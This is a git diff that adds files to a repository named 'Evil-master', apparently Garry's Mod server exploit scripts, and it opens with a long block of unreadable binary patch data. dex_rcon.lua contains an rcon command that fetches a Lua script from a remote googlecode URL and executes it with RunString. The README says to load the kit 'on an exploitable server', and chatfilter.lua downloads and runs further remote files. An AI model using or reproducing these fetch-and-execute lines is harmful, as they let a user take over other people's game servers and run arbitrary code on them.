zyT&KV{+J0VwUf=1Z4=Y-0_lF~3G`2e!E`t z1fLe*+}{{&8|)Vp?>C@_dHAiMA3mR5_gW8=IpD84Jj;w(gR}3Ke5xAR_EKfiyuWR_ zf#tt&dpHMf5FH^|Ze`{=IB=MskH<#mS$5ORdzwa>U6I(JrCba@(Xc{)+Hke=R)szz zAl35y=Cp_(e!t2Z>eUlvoL6iZ7MkX-@EznG;1kxfxWC0fyZEgUPo0kox;r9DxvX(1 zeP4Me4|%us>*$=3<-W}>?Mdps#szEv>20;!bxx1ugxXQD^}{KG;5wdFGd5mL0C_ zV}1-g?+vQ9QP}bq?IJp5njzi5Wgr*XSNnP1iE4+?4&0|CEj~onmQf5h^aHLR6S4mv)qma2V>o+AG(Kc3b5# z$(}Vy;al|~s^F%`+8;$&{_w1TZ&wOt7cZ|@8XrmHJ#Iwg_DPB~_lh+crahntR0Qc* zL8$pUn?=%j;DpRZbdK8JeWqb=?eq5Hj#J%lx{TH8+A*p?YO2h|=9Xizk0N+& zpCN-X2d^F`7_cg|({UZ<-gGke6C9g*{)~JrPnwz1^ev`*gid6B&&Mn%Eg;+foY!ox zR#&4?&~>&pyZmNTm3EZquI)OPUCwg5b+QlqR>NcMK%Ky7i)V|slXnbRjX9;s)iXNW zByT)hJ$|}yme*wd)@F7NR*#5XI#=yG%>lMXvO;nnuR&vsE842+m(}*I8ejdQp{238 zZ536450WZuwmRpy7CN1^bVrfujnoCx_1;H&_;^vWRNa6!RsGAxX*E56?JnplHMEh! z9w?sIoe$gBckjcioxFMk_lWS9+5RJLFf+A(VYfostX35- zP0LO7PxBtu_~q7j=UR6sOpTy@KPGCAts3G`yU8 zWmvTGWpzR>{>k!1^nLaHZ%IKv9jpCRkKu3FiJG(O@vK&0V?Et>aEMoIR^r~lqlRr6 z>YlK%*HFLRRz>D60V|fiwQUMCk9(Wo5fc*Z;xo%>yLFk#0MQ#fkxSE9HrrK1}+aWuCQr6(DjPRGd&Twr_au~4Z&g3Io)P8 zZ043PQR0S4v`>`$q`TCAbk5TS zas}iuQ4*mw&adl{Ws;KortkL|b{QRC$*YVDRj@dz7O@TCZ8rPa?0mHJX+gt(vjs^rn4{o7=V<ruJ28siVq2_@ivn$)-uyX(GX@WRK4RmZQ2}KAJi==%`JJEyDooojiOmbJv5)^ z@jW~*IzDu>YlT&r{Y;ODfUTaFO`3Eg8ecR=DNQsffM*>v{8rs>h_5_WnN$B~`{9n$ zo!+XkEz*wTh9%e#vo_m7_C@ad0)7TQ^L^~t%cjiwj=9qExAkS|O|DZlwp?3SQ8BG` zjK;kyzTKhyeP;l@OC&P+Zga&}W_i+DXY;|lA1P8VY~J00_)+Fnj$<9_Ec~nBBNkW{)gSYgp4VRh43>7dn{d*|yu2Sy$L?a5(AxF!))BI_zUmn}4FC zSTtAPqheBKKt@*9?UMWTKiX~8>D&Z?rKCYJh3qSikXBfH^=k-!(q~4$!y(9SwBcE$ zykK?SoN{G{hbFSyP2;W`hW}xDTk@SX?buq;BVYOR-`tBeQl*Vyrs%P3lEq?|WghOn z(c3Q5*AseZYR9yU`xu zGie{2R^N`WxSrDJ?jUQs0R*d>U%_U{zD)eMFGE=KidgLYBV=d9|7=zC@!G7+>EG>g zM=IVipXKjd3Y~vDtZ;BJFC?}yTAfy#AsOgRMb3^%4MT1*@W=PUwmX%{g$_BEzxvli zw)Inu>)5E|x?WKN$x69B*~aAI3(W3%r1e}9|FC~z&!IjqtS4{|?E@;t=D#hRQ{AUk z+iB>CY5raR3Ba4JDovL}w~1oeYr=4=ESC(|&rXRByuGRGd+$!4eU9U#h4emsCS@eU z%-V%DI(^-moQdD)uQA_hvr>v~RDNwg$ZnM6*vxeda~|hAC}>@;7lYOf_ZSs0(sj_S zFi+D@EiZG=rEw{*KhOO+Aanc=>%6H&g0lDZ@ru7Y-xxMg(b!uH*5_b2)w^V1OCPt8 zOF@}_pFQ_@Y_+SAoHmYac5VL9?$|v{JFUUDNwd}s(9DBsO^5; zo7#tE9tDp|^J8bwE+lkFDPd(lauH%hq&xn#}Q86x9+xG~w^K>(LDXeH=wL=CUK) zPwm9^+YM(Me|7rmYjquMpX%Q=26x74&lxA{nYOs*xg7=CWx}oYc^+{A;i0z!l|J)4 zt!$daQ;quC2Zh(Ovvd1YtZrJ>x?EjsNaDiHa!sR2OYs`Pbm0lB8K#${|C5$*UTCUd zk+|FPhIzW|g6SOd0gm=PCI)YF7>ep@<=+;h*t}c((K9Qd;B1*x-Ds5%cW+|axY6+r zwl2o;-N~w{^h&HhRstugBKb4$mo2IOaPz+vUKMQTDZ^~7W0$f?RcqfijL3D`;J-Vh z#Q&0~zt?P^y>5HVj$)IQ3u;HzS2sWiFHbHjsy(TEBaZUQ4^0hea6f4>k3XkAtFW)# zT^G`HzOk|`k=Z90C7)oEV|~=*v+$Lrzt>iO-2al5m+@?UY}x(l$qG+pwxXhHXS2IT zi~cn0Yo|9mC!B7%*5RhrF?oO8xVn*b>UML|V6Sq%ZCfwdgze*YF^`QA-B(-tH!sqj zlq@vgWxYWDO1n@wr}K;ECOUvg1B zR5G+eTeqP*O}SPzq$|49lU^#kWK-&q=KhbXmt&T#*7A|X4wEkKwQ-?gx?!2XT|U<2 zzG;hyWtvr?jrU4Bi-IcF*Mv6pZ1-v_Q>P0hc71{t_8!#RA##pyy^Gjpqbyv|$c56F zQAAlX-}E1}%5J7HskkZ=`*AyOe2s1QCjCdW-pwM1j_q`O)yS% zp15#;Jjl*k$JVHwS_f3mDM`o;$qddJQFfrpP#2^itAADmS6h_#s$SgjjXP`S899B# z?}-CO&F@#x!`tN#$1hG(ts4bvjDog1^?xarD8|)S{mRMOo$jA@q)=D;z3EoV)F!&> zVa@0cO1Dii+3i!ro{`M7OEcC^PnhU6)GlVW$9Z|2F}2CN?m>mBFfrTfBb}7=e&JV( ze7}O?{Fq;tO5ZgcG9+6Z^=a9*+cfq>+63#l)tV2@uGNkV;`-a!UXs2BE6Lne+|DoD{j%LWwlG6&RRZ3)Z5Nu zzI0rNb-}4LyEipY`#!0CwBofzYRL~t)u;xm#=SKOrM+unsow56L!9TgE`2#OY(#m_ z8?JN6khXxD%F0Kbhs;L#DuSH6oJ3U9@$9Q9d!Jypw%rQ6t9*GacVRmrNVc+f;ar!v z4f1;DR~UZ24?f&_`@iXK5JGo_*5#2ishm~WR zhm~KgoZE3*dO1jvFm24DF?$Dh_g)g*;hZ8FiQP5&@k68*(mwb_ZBd7N-N>@uB_r~! ze>$c*yzlcNF5{rWhRZOqw;f=WY5vRfja{~vXXw0shlfra={UA?n1AHo4r3YH%9TH2 z(_6pX|LRfrrD{~|d&Ru@A7#-rCr6w1I%7#;oWfn>raNW0t9#9@k$tgV;jFa( zVU|nG=7)1(hV|<0%}KS5brxNTvR`iVf*eBE2W<-6(c>?_v35G+?}A@%MbG|C`uoS` z-=kXN)C-weGR(ffE5rM@tHCZ@79wnrH(8H#cwzt5;*{A&v&Z6*!coi{#iUaA;)u$& z#zsvKb{`$0%kKE4T%q0w2ywd3l9_&syKl6VT87tD-qK$tNoHW&<%xodq+aT#0u2YhJR>*sCXiDge z9$!2z*{>A6Q}u4NsQSBRdfP_zZFOSz4pnF8Zp~4Bf$@g+XXkO%_^v=BD}L)B^zQWR zcG+#yAZ-vv3Ler!y8dkH-B_SIZZjryXjr*tKaqF)=6d_O0L8xgf6Kcne5s=!kewrwgey%%LX41NhxE(Xd~si^x32FT)Z$3>{OYm4 z7ghCXTw8Cf99N{xcWzj$`Ho9X0;Cg7A{-n2-p9P@dm-4({ifv`lb!aR_EW59i3b^6 zm5&<&YOhu-Da)%^R&}T8R&!2sYW?Dx=PfZ>cS*R@BA-3J8{NAcA6N}B?IqelEGAuBwZ2uKsdAzfTFqrvz^$jiy@{Vu|O%F^C zyx&6=vOMNM%*cRXn}xcH8k5}c4}mGSQj5Rl<&3V{(AuTaC{H!NQS7Z9(AN1hpS<_(I*r#D#v$ipz(xKG7@N@xQ zxkr)MIhyhja^AY zbl=aU@8`c?E&Q|XHT5^S7+=BeGn_WYN=92-xiLW}qW1Rg6Vo1g-L1*=1-D0=r;F3b zI{P-wFIW9KT(YOMzGhlWMf>0S?fSRca($v2b!Tb(4VKJop@sPkhZvtT!F;QtPhzyQPOp-;Cs!9GsaDg zjtG0`;b*ada%$9-kIV;6sM0q)?{GI(qgFvLVJ{r%_bKMp+$pWcuc=tbEa3YS!1G&ia8Yn5tJf zv>Yq9$$OWvHEU7noc2$=pX8}UmhCRjx4|odBLdgDg;-^q^tN<#J{h2n{5RS%WTq+I z?vnZTsl%h+&#O}R{ER7iTK`JBlTeu0m_HJD5h18VpW|JqHLZ140a{+%}Jal_+LA6;sfh>>qqPkG=6n~7wky0v3cM|l0Ls+8KN z9p0kjZfW6TdoljU?f;RSFjOl}mPZv%Dp9o^A-?!l4jDfrIrfcz9&xpK+izL^`+^g{ zQyM0B(`bTd5~Rz+A_%-8?X*t2SO{h79H-Pct2 zl~X$G)T2;eVWQ0-dmEF(SezoTupvYFt+Tjy#~K3JzV_gJ?|DZ$Ofml?+aigvSnN>} zJ}t7$D_T_DoKk!<_gQ&Ndx>T_6HDbApf8N>qkYlM)}N_5rr4`KFCA(#-P+gsnB_$q zxm$*ByW4DQIXOdj$dIXTG(4df(DO-LKFfT$Nur^?Lj2A3o&87uq9^TftRo@dm+9te zKBMPW@d4#=%Z9xfF=@!!f#br`tybt<%lhXHD;m@IkFgE)WfpheXdlTl)5j`w}$3bV2vo z>PO7{eT*9vfU$CC%1V`$`h3I@?_FajtCW&|cnA zn?uQvNujcki9w5f{;@uc<+figexFhG(dTnsUQo%^^3;ZnP5s(0Lu?ss$Tm6}FQQ_T zJ&p(bq>+0fdxVV*8sjZ+o9Z~!fD5qrU3&GNy50(#_S}} zo?qUjyfY;g3P+6yO_Ft+J~VwRA0tmT3vrm~f39bB@5pH1p!tpuM043N?dSF+rK4to z-i~i%1nSSt;Z-4JnPqHsm||zMNozmlXiX}eDi+#(^|%*k8?h!_7kI~ghSdwnBcdK( z1ifwXSgAIwrKm>u+q$Gj<&@^aE?=WBw;n4Kt|qq9Uv>b}w!`LS?T zStPk@waL!Y>74yWiN+A#`n5@|n$CQZ1X@m%&)}2Q5$)$%UD~g=aqYKM;kpGVSiaNJ z+BAy{W6P;OIHR!9EY)V6{Sv!P_7?UQ)@~L*pWq%H%7sP+9`f8_^-dg3_Jdv$58+BNCrdT6HPK0Gv5SVkx{kE; zZSK*Qp&YN9%MIb)7VuXgW-C1ky zufd8B5snq~1^6I^M7uBD+AWq8qiFbvN`H!xlq7 z{hzuqx(a=y_MU1%$NH99g}!yP>ZYbze}Mf#oRYq`n&MFCc-3*7{a5QGt9szWM(a(M ziKbEFcz(6^eS2fmq{jH>#~tt|3ia4-N$0#amljinOIr`MJ(DK7X4T&@!R4UqJC{o? zubds77TVM1i^Ok{mqFhZ-#M>!PIE!ilE(O^*p{CinW_tFwN6K^K}A9v^9-9J+xvD4 zZO>W{2Nci2Y_DvM@EsO`jUs3=TA;?ZPH)hIdrk<5=U5u2 zXI#1E=q2eac9Bey{1SUh_DXU@3Bvv4Mr6g3%q_Z|9?DMRhQt3HNM=45>$T&%esu~u zKdA2N-TCE$)ACTunN}mLk}RVv1I!o8k4bh2enYo}20sm*3X4!BV@*BOr|BBCLe1E& z+nr3id55!-Q=L^i=?_rFe1U+LHCPU`S2|g^{?FyLqpi(IQ%+QklBrvonVq>UW{N|K z6|I+)HrhXp-&hPQ#|J|1h9~qJZ^V@XAK9N~?iNSQCz;${(_#9O7L^k4C5;cL>5mKPtrBF^(5#`D3hW?J8yeakwy91}aUAcku zdWtc|QISk4_Z*uq$Pz!2O*J_nr=A zxsou)pF`J!8D1cuBunKpWyeJ!cqF@ok{Q1kT8+KvMkblBCv3$Q(p8ce;a+?@oQxa? zJr46YCt76arOj7gQ%_an+E#rHeHa@kFcS&H9fBh02xIYdqMhs#)C&)b&IyajT6_k& z%sprJ(;dukE`VPQJ-|-PUtp@n^* z<7*7jkI)aI&Vf~@k*@`qz(Y_dxGES1T}SD-6@CC;N6rxX3ZD_JoEi06ztZr7nhibD z|MZu<(i2sRN1(QGc8c}x#x04U)Qnu$4J zC44aVhH0lK(uK4H`T^!aXM_#(iKTIIaO!e3oW7k2r}W3dnNt^hAHIqBpWu$@w`8;Q zqgX{g<_}T7b>}t3>J8ds`isV?j0>lQ&bd*%HRs7jvB_*G-vph%3DEhrRp26u6n_$T zi}D4P#B%&KItwU41~ZJ(=zVmHwBNMu`YgjPY7i63{f*4vxMG_~Eh-aOd?o%G?~lWoY;HMopNge&jH8Slh8u=g#w~OK zdmjA>U3)`_wfI6TAI|jte@DnrE`?L@=_nGLjMVH)`aZ=OUr|v^DszsV1s(5Wu#-e7 zxj`^b&|Bath#^N4Kd}_xM;N=EUCo{3m!iMXW!{NPXI9cfD3vjUdPMi)?jQnuZL*+- zoJ7b0t-QpfQ!$i?dS`T}@+mbfWao07{A#QfHzmb_{er22?_?k7+B^+sY8RtAR!qkl zryEWge2n*v(|Lf>H;A=YHIDX#u+>r!{5St20C8&`YRa=ZIYS&0L zRuN*xs6AR+Y!#{%s+2!%G`1Lx5qpIOL1IQwJITHGocH{{H=p}Sa+7<;JD%rxpXc|U z-!I+dQDX2b`Bs|pgACB`$whLtJj=T@Sw`k)>#gbPYjcZn-E-2dxl6bn=J%ql!#%5w zWb-Gr!@3OXt+uS7Kh=>F#b{d<$3o{2pQS$4e2zQr+kTN1wLDWd>>iDC#-o@Jtj54= z*=(LMvOLlg<^I`y!_(3%XAKv>>qG5}9X`%^jv#wi{TESB>kSWOCJHKJ;R;l;cEZ7_ z1Q+*>d$@b5yRGMc#$NM~Dx=ke<*36kwHK&1v=BFWy4_D3YNe~WJiR~5ngZjj1sWQ` za8Cb&TM-E_c%*UEGoF$7#HeNpp5X2ZccUp@(VQpyLuEDiXfIH6*d!*w+4_wq;rm%m zYn)0qJD78fcOIM3AEku{@IphZs#;l|MDGTdcf0H(Pr^OwtNn#0(R)|}GvMp^!zD79 zk$Bj`CwMZ)U-gGk@D-emG{*TX&y7zsL(s1H6g7(TR(IMy9zM!`t)xg4F)-MD_06)V z3`G57Ay3!a#cQ7TZ(=<)*RUG=3s?T0`>H3)7_Ty6MaRJX8Y{BJ1X-LXbMNc>^dHbc zI1jTqNeGc?ol|SgAB`=Zv+g18RqhU+FeAbYfzve%E`_d*M0@0!_*r(=x5JU^V3W3i z`fxc-^wA1i`DUt-_HN@su{3ssJpdg%!k;@J^o4e*shTtk^6g^oe>ceW&!5 zaRuCnv)Up0(nIsdV}h;iu%T|4qs^M;1LKr&gQx8y&0%V>wOz{=yU~Qmk<;Zh&O4+{ zM4cfDi(HRdN|Ktv)Amwj!h||!W|@?J=39P-z|Pog{ehMLE<@q@hv|3WE?yQMcnC$c z1?YUdVa=%t!*e^a*f1BVI&h#Qtb%M98aZl{ny-$jx2i7;jfOA_TCsxufVY=~p;`*% zfJnWvz5zD)MmPeYR+vg*o>m*9je+FDy-h!6(N8Oirosm4&^yrUEV%~lk`gi#b&8SV zA^fKo@OKu{f*0m#bA=gWMw#o(P}l-fP`|mTeIkyEo-zTZ=W^_Aq1XeLXb`$A^XYmjdN%nRi*#Q>ZtOClXjXc;HuVHyccmY6AtNaIRlczHp3s1bL_$+DE(CMx0^w~2rCwSS0xLkcv*8e3s7AX_p< zLtzuOMqg)=$b|{xRV^yVk%JihD_V8>z8oGjx*09Ffz!rL-l^5+9xo<>&@sT)zrB~FRz>_KltELrvnW?amj>Djw1*>N` zYx-I(g*n{Bac#*U$MM-|EmM2QT-}FNcN=!yV#aDEY@F-bE^QPHIDfcgd*OrWu!5?< zx#|vwE{QY3n6s`048>wZl5N_L^gEtU_VNkY5c`@7;PSMG&lHH&7lNbHjum?bJh@}s zO9&rPRWyYesf!QrlCE*)7OossFfO`woLD^rg`s$ql3K&=`wja^;jXu^Q(w-k2Q#%S z@pKIFc?}9|O~~`w6We#e01RZNE5PC#3QKA}*7XlOp+DdYZD4gekL7ITPLcGa1LOY; z{+Qcp4D;xjreG#sgA28rk@}G_TTYx@f^|LSo@e;IGYnF%szRWqtTNc-7xX8NqZ1j= z`Mi(fjJ>pUCo{B&mNjAQa^ab|;L|;TaW|H0=in2SL^ITDZ0Hbe)P~^^516kjXg}S9 znRJ!)@)ww?Y4D?(aIFBCVV%TKR^!ivKfd%UGg23x;9IU2z`31KvKoL@bY@;!@q0bk zQSE8}SpK$x+1^jTo?|5knay9Z+i}>p zFbnIo5x<^rRx%#<3~jDPTy-M0ISUJ($~=U@u*-%Q89-EN1z)Ws{Lv@y_;xZD@$dlG z!pBO0n^%UGG-C}2L2d2^>TtU_A`>2YVR|0MY(61kc(v#9c~xPK+u;FUGE=^ApU!Z6 zG)jSeShqj3idxlS)eVGc_|gic9UHX6u*V)TPJhBb`vLzF@MpKdWZZ@IuZ6ch6#jER zEOHuNxsQ2zWR;{Pi?tiX*TXPLt7#eV6_aS!6WDU?vA<=E%S_h7?}#Gx=#d7quMiBn zbG#nX(nMxqH}C%-D*eNG?_rn~f+0t}f(QPB9VOD9eB$ae>~aHMUz>F-nR~>;YaU69 zeqc=A5PSWZoBFKwo8ja>!kaRQ<9G401bnbJI%%nJ2~$}CXEI(X@FI(2$7N~JM~qrW z#(y}Lz6`(E$y#!i{%_#-A=rW+Gf@=#%x2azIPVU5T_$`?J7<=Fmpp;F-;SlkW69%L z6J`=&#=|45hi%qn44N|ob>O%Lb9^PDcTq;w#2Nzeoxb=>6RzU*CKI0NBP*EWnrQ>E zjGaV-OuxZ23g)H{>_xBMVH2WE2!0YlFGHE(CbT3JmSGwmN6e1k?``3sk;`&edv z9K7$*SmzV&lZ~Yp(k>G>j$-4t$+kab)=KiX5SYiW;6UG@)j3u<_?F(0Z-YO)=6;*8 zzeIfEEcWeYW`b!;Wvv#`sxWOzYx02}!|{$GuD z4q`05V^)zle$E&t6tJB4ao^K;&vDv)mEI|4ust&uObaSuAK~;X51y-mpJ%{{{gWOf z@_i5OIYB>C3*LL<%t3g$DYT#nvr?Sad)c40=$luY~2yvraMg2f5!N{9^-c z+{EiIj&af_gO@*}>4O#Ou#MlcN)#)YVT0P`6fHfCwm>T9uA}uQ=>2lupQA77+&ht+ zehz(}#?Q_4@GkAUz!~X`-g)}yRfA0Cs6nuTJELwf98U2C?(vF<=;E&<8(ViLPf)W_dpA;7+3SdSc5t+W9vTVS_jz*54<(?ifOs7+ft5=X;1Y8 zfM|S@zD+7v&wVUIrK1?}0L6%F>b|PL*mmP+YX5?EPo~Xr%*te#%H#2d4UChQH@||h zU0R?N@huGP0enqEx#%yB@Xqd1Mm&sG*0AzX*0WpLstj>`37l~^Ty_l)zJk9zH4)xfS4LM>2*JSfhr}-;QVy^~X0hGkepp#&allIPm@D zcz+lXwhq@k$tMl0*XoseNj{khuJkSK+l+mjfU91QRoEBL2x5KT!C%*KHGk_R?fVFu zYRMd)LX&PJo>qga*;sE@5(Vm5<)|sDGZ(eUH%pKO9YC9)H*5bL?HxKucJeC^IsIs& zWEzZaJNJLUz0*}7>I{SMoll8JceIY=a#9o)f3s>VLz}XYwh)`lCr=NcVy(gZNZPcO z8SPJm9zlF} zDrW6h%T*^e9Zkw7>TA3ymYU#{h?gIs53~nGucxv+nm0*QLsP9?RLhlAWz>95ki}=B znX!e6;ga|W)eEOQLgi6RM5C!v&$@y_MuOU_Lh<=$)+Pg>?osl8RL3d1ee&TnGK zq-aM*Hv-kCrdApXECZ1E4Wz`yg6@WX8lWY$hFjS$5<=D517}@ zM5zmY{RPclGk=BGS?ZQ5LNy;k z99cxKPqWUss9hQ{%5i7`e9p|}GFLnC&w6NYq@guaSCv;zc-*hhI;^RNpgofbK2naz zIR~Hrn{3FdbWj8h(j($IHmJ!PVmy^mpf;A?2B{flj*(z=Gah?Zdj@(w_O$WTG}@S( zRj&1l`af2d)&J8++h*I=+UDD$Y#nS*^d0)AdP8X!WwdB(FxbI-v!~g>bfVz00Cl2h zD&S*Q7w))KltU|UxSTClp+gico69`0Q8W~>S~?ySrZ$54WEyLY?&v!91?N0!E&(rz zLCNGCs&A!HDJy21Ycp)?xod{rO5ZDwi&MEI*8_6&pdZ`_e*JM7eO3^2wzjsu=6gTn4BSfB|VmV&8gjo+X*P()!ZyYq{ z8UxJ+>X6!DZA7J~0UEWD`eYO`|Fj)O?dmYPq>XLSwiLaCOw*pC-WP>(TX()X8x>KK z>S3-ikDJ5H9w0G|P-tqc^%a>i&9&sxV+WMb4!)W4( z0J|>iYUtYOYUy6(`3{}fjaD1HuqO(fJ@qI0JN=M8+t$k7!#>WQZBu%Pep!5@%~g90 z%e~j->w1&_&NadX_)c72*EZ-N@)>-a}(}xV29kAZO}Xwp>STpJKiP{4V>o@tf~E z&u5SGy(87$(RN)xJCR!dBl1N0bu zH2By~VrCb4o*1jFq3nacb60l7<`v4l`oWR6Hb2?j(>!AxlMeeVhuc}h*Xj4cZ*`%# zLZu2_^vy!W^oX7+8f%}UF&gMGUBRwF`L*+^=dS+H>qCj$ih1qxrF({FtI<_`t&NtE zw(sl{9rK-O&R5Rgou?de_6XZ6c~Csp-m{K2Rx^!k_YT*t{K)(c`4{q|+)q7q%)eDD z?TEO~o=t|HVk_zB=^X5H*JruUCFelLFSg|}PJ62km@ABho}!-8?!~U${Gj}Md5-)A z`OVlv_=DZMx8_PU%Q}P}+hBc&t%m))y^|x_5$;%KZ*S{>4xA!~jsurEX`VO!^?Z)H z+6wm>cQ2JO<9vOb-0b`Ca))<6F zW(HbvH&r|l@lSG}$;5FD};U-t=Z5&qmZy zZ_Np2W%C|u%>uNVD;YIWunQyp>^57V**(V^fC|=pQJ&S}hV;=#>HYOD^xNR`<3SMn zpj8xQWvM=71gOa1GnO#}trMha%>X}LCxhf95X2!=x=B=TiL5n^ z(Spom?E9&LkekxCmp$?u5iehNZ zh(*)UQ=7(EzYv897C1HTeyao6Bnry|NY^gE%()a@0FO=EqLgxGv zx=$0;8I{Ahe@oCNe*(_uUQ|PijVQa`t+>0$V5dcoAGU6Y1UO#kM^sR?4E{vD{P~35@Pxk%vcYX`2^EOhmr%2x#vWRG_MtZ6Z6joWT*)K*t)tWjuZa%}S^BkHGY|@t2}t9ckED0#~U)mX9t#Tiz1SCxbK} zXCEX-bAiL>aCQPX(K~#iwpE;?e0TAt-@)yecb(250&|8-E*BH&gbAW*Goa|HO} zG4PJ@T)jbo@?dGAe_K|)co3SG*w4oxZ+#e@i<(4va19oCf&Y@Qm7o2nwC;mpub|?r z&lNq4(oQP+-qb4Pi2Q!&80zfC`~-&c5NvM^D@G1k%qZ+)9?>Ek|M4QOZP2#60Ln6g zie?t}7tN@j2MPKZ9JDjN%%M^U$Id(R9}$WXO9~T{X5)83;LW?KomS!53$c(CBJ~3> zvr?dnRoE5zhUgN*uEHFC#`5Y-4%i<5uFl%tls4DpxCV?ueP$qpy2-oiu#0xA1vA_T zdX|LWUgGCP?BF6%CKFqI2r5{EDA56*{TQU?Q?PfFn!6-;awrww8!FrSd|r*Vd$r`c zVo8I*)xTw=Yl23HbN5mp7EYpS8D?MSY7J?_JW$k8%=rvrP+Qv59org251Mm_AkHe! zS!KcUyt_Tk=}CX$U^G9QfeW_=EeW7Xya@)dgNk<_`Ra2}vv=UI*+h=kAQ?%ZwaM%n zh7h~jQt{RRJ$MG*okT25q%UQ$b}xRo2Ct08FD8R?#1ct!u$FqE#EjavQzDLsYuC#wSuLRI(Z~S}$D&PcNX-FPZnam@A zn0p)Sc^i8nPC}o3AvQda9n&%eewGd9|2IB# zg59b_T6u&$gnjHyoMvR6;a7%Mf@-c77)lJve>FifiZgD$ob3nl<01EXN!&?epJ*$6 zCtGEFJX#R@k#>6eydXEq1YxPiHF^=NW5q<#gZ4D$N+rY_6g^#>f0TA6;2rU-qgx7Q zBm8?5YM$tu7q z?||!GBY!Ny`X7KF76%*3!(Ok0)a_;EIe`ax|L>3YKNlUu1COx6?+07{mzP(A@(EU5 zm|WAty5?2ORNN<*s~;v}T;`pPgOE%5U%=tmg+ z_h&5fL6$y%olABD(%JPaO1~BD^qyY@FAkv{-d&6!c1lXqE<2z2^WJ;4DvW3)R`Et) rf}i2ty_mheM3PQgPwcufN7@<7Y{qFRnDZfW`rcr$qrs8A|MBSmO%*6_ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/.gitattributes b/Repos/Evil-master/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/Repos/Evil-master/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Repos/Evil-master/.gitignore b/Repos/Evil-master/.gitignore new file mode 100644 index 0000000..6dae747 --- /dev/null +++ b/Repos/Evil-master/.gitignore @@ -0,0 +1,36 @@ +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msm +*.msp + +# ========================= +# Operating System Files +# ========================= + +# OSX +# ========================= + +.DS_Store +.AppleDouble +.LSOverride + +# Icon must ends with two \r. +Icon + +# Thumbnails +._* + +# Files that might appear on external disk +.Spotlight-V100 +.Trashes diff --git a/Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua b/Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua new file mode 100644 index 0000000..ea68da4 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua @@ -0,0 +1,7 @@ + + + + +rcon lua_run lol = "http.Get('mfsinc.googlecode.com/svn/trunk/DeX/dex.lua', ' ', function(s,f) RunString(s) end)" +rcon lua_run RunString(lol) + diff --git a/Repos/Evil-master/v12/DeX/README.txt b/Repos/Evil-master/v12/DeX/README.txt new file mode 100644 index 0000000..bdf401a --- /dev/null +++ b/Repos/Evil-master/v12/DeX/README.txt @@ -0,0 +1,11 @@ + +=== OLD FILE, DO NOT USE. MOVED FROM GOOGLECODE 26.07.14 === + + +load using office_chair.txt adv dupe on an exploitable server. + +Check ./HeX's Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua + + + + diff --git a/Repos/Evil-master/v12/DeX/bubble.lua b/Repos/Evil-master/v12/DeX/bubble.lua new file mode 100644 index 0000000..ec2ec54 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/bubble.lua @@ -0,0 +1,65 @@ + +if IsUH then return end + +local HoverHeads = {} + +concommand.Add("gm_b_on", function(ply,cmd,args) + if not ValidEntity(ply) then return end + + if not HoverHeads[ply] then + local ent = ents.Create("prop_physics") + HoverHeads[ply] = ent + ent:SetModel("models/extras/info_speech.mdl") + ent:SetMoveType(MOVETYPE_NONE) + ent:SetNotSolid(1) + ent:AddEffects(EF_ITEM_BLINK) + ent:AddEffects(EF_NOSHADOW) + ent:SetParent(ply) + ent:SetPos( ply:GetPos() + Vector(0,0,100) ) + ent:SetAngles(Angle(0,0,0)) + end + + if ValidEntity(ply.HSPChatKeyboard) then + ply.HSPChatKeyboard:Remove() + end + + ply.HSPChatKeyboard = ents.Create("prop_physics") + ply.HSPChatKeyboard:SetModel("models/props_c17/computer01_keyboard.mdl") + ply.HSPChatKeyboard:SetPos( ply:LocalToWorld(Vector(16,0,42)) ) + ply.HSPChatKeyboard:SetParent(ply) + ply.HSPChatKeyboard:SetLocalAngles(Angle(35,180,0)) +end) + +concommand.Add("gm_b_off", function(ply,cmd,args) + if not ValidEntity(ply) then return end + + if (HoverHeads[ply] and HoverHeads[ply]:IsValid()) then + HoverHeads[ply]:Remove() + HoverHeads[ply] = nil + end + + if ply.HSPChatKeyboard and ply.HSPChatKeyboard:IsValid() then ply.HSPChatKeyboard:Remove() end +end) + +hook.Add("Tick", "SpinMeRightRound", function() + for k,v in pairs(HoverHeads) do + if v:IsValid() then + v:SetAngles( v:GetAngles() + Angle(0,3,0) ) + end + end +end) + + +local Bubble = [[ + hook.Add("StartChat", "Start", function() RunConsoleCommand("gm_b_on") end) + hook.Add("FinishChat", "Stop", function() RunConsoleCommand("gm_b_off") end) +]] + +local function BubbleInitialSpawn(ply) + ply:SendLua(Bubble) +end +hook.Add("PlayerInitialSpawn", "BubbleInitialSpawn", BubbleInitialSpawn) +BroadcastLua(Bubble) + + + diff --git a/Repos/Evil-master/v12/DeX/chatfilter.lua b/Repos/Evil-master/v12/DeX/chatfilter.lua new file mode 100644 index 0000000..4411beb --- /dev/null +++ b/Repos/Evil-master/v12/DeX/chatfilter.lua @@ -0,0 +1,437 @@ + + +HSP = HSP or {} +function HSP.StringCheck(str,check) + return str:sub(1,#check) == check +end +string.Check = HSP.StringCheck +function ValidString(v) + return (v and type(v) == "string" and v != "") +end +HSP.ValidString = ValidString +string.IsValid = ValidString +local Enabled = true +local Spam = CreateConVar("hsp_filter_spam", 2, true, true) + +HSP.ChatFilter = {} + + +local Filter = "filter.txt" + +HSP.ChatFilter.Crap = {} +HSP.ChatFilter.Fixed = {} +HSP.ChatFilter.Nouns = {} +HSP.ChatFilter.Abbreviations = {} +HSP.ChatFilter.Swearwords = {} + +HSP.ChatFilter.Pronunciation = {} +HSP.ChatFilter.Ext = {} + + +ExecDownload(DEX_PATH, "sv_f_Crap.lua", true) +ExecDownload(DEX_PATH, "sv_f_List.lua", true) + + + +local function AddLoop() +end 